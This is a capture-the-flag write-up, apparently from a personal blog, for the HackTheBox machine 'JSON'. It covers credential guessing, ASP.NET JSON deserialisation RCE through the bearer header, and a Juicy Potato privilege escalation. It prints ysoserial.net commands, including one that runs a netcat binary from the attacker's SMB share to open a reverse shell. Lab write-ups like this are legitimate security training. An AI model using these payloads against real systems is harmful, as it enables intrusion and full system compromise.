#grub.js.org

Hackthebox - JSON

badge

Overview

Find JSON deserialisation vulnerability for initial shell, achieve privesc via Juicy Potato. JSON wasn't too difficult if you were aware of deserialization vulnerabilities.

Initial Recon

Port scanning gives us a few pieces of interesting information. Most notably there is a web server running IIS 8.5, which indicates that the machine is running windows server 2012.

Webapp

Browsing manually to the web page, we are first able to see some sort of web pap before being slowly redirected to a login screen. This slow redirection gives us a hint about some information disclosure we can use, however I will come back to that later. For the time being, we try something you should always try when you're faced with a login screen on hackthebox.

Method 1

We start by making some login attemps using basic credentials and tracking the requests in burp. admin:admin logs us in, but it is also worth playing around with the body or the request. Authenticating via the login page causes the following request to be sent to the server:

login request

If the user does not exist, the server returns a 404. This is potentially a good avenue for user enumeration that we can keep in mind if we need it later.

Next we can play around with sending a request with a malformed body. We can try sending:

{"UserName":"grub","Password":"}

The server returns:

500 server error

Super interesting. This gives us a lot to work with. What we can reasonably infer from the server error is that the body of our request is being deserialised server side. We also get some information about the underlying technology, namely that the server is running asp.net. From here I decided to look into whether I could achieve RCE via json deserialisation in the application. I used the tool ysoserial.net to generate some payloads and send them in the login request's body in place of credentials, however I wasn't able to get anything to work. Next I logged into the application using the guessed credentials and continued observing the web applications behaviour.

Upon successful login we see the following request made to the server:

account auth

The bearer token and cookie contain the base64 encoding of:

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Again, editing the json to pass a malformed request to the server triggers a server error, so we can deduce that the object is being deserialised on the machine. This time, we are able to achieve RCE via the bearer header. I generated my payload like this:

.\ysoserial.exe -g WindowsIdentity -f Json.Net -o base64 -c "ping -n 4 10.10.10.10"

The -g flag indicated the gadget to be used, and finding the right one is a matter of guessing (There are only a small number to choose from). For a proper explanation of what 'gadget' means in this context, and of JSON deserialisation vulnerabilities in general, you can check out this document from BlackHat 2017: Friday-The-13th-JSON-Attacks

To get a shell, I hosted an SMB share and served the remote host a nc binary. I generated a payload like this:

.\ysoserial.exe -g WindowsIdentity -f Json.Net -o base64 -c "\\10.10.14.2\grub\nc64.exe 10.10.14.2 443 -e cmd.exe"

Method 2

Okay, so what if we hadn't been able to guess the credentials to authenticate to the webapp? It turns out it would still be possible to exploit the same deserialisation vulnerability without any guessing. To begin, remember that when we first browsed to the webserver, we caught a glimpse of the app itself before being redirected to /login.html. Well, it turns out we can simply fire a request for /index.html and view the contents of the apps front end in burp.

On this page, we're able to enumerate some potential users, but more interestingly we find the names of some custom scripts:

custom scripts

Burp is also able to spider the scripts automatically since they are linked:

burp spider

I started by taking a look at app.min.js. It is a heavily obfuscated javascript, but if we pass it through JS beautifier, then This array remapping tool, we get the code that dictates the main logic of the webapp.

Most notably, we're able to see that a request is made to /api/Accounts, with a bearer token set to the value of the OAuth2 cookie:

var _0x30f6x4 = canCreateDiscussions.get ("OAuth2");
  if (_0x30f6x4) {
    $http.get ("/api/Account/", {
      headers : {
        "Bearer" : _0x30f6x4
      }

This is enough to deduce that we could achieve the deserialisation via the bearer header, and it turns out that the request can be made without the cookie, thus giving us an unauthenticated RCE on the server.

Privilege Escalation

Upgrading to a meterpreter shell and running the local exploit suggester returns that the machine is vulnerable to a few privilege escalation vulnerabilities, however this module can be prone to false positives. Among the results, it suggests that the machine is vulnerable to juicy potato, a vulnerbility related to rotten potato. This class of vulnerabilities relies of performing a MITM attack on a SYSTEM level account as it authenticates to a local COM server. You can read a good explanation of it here: Rotten-Potato

I found a nice wrapper around the juicy potato exploit here: Lovely-potato

This lets us run an arbitray binary as system on the machine. From here I generated a meterpreter executable to run, and got my SYSTEM shell.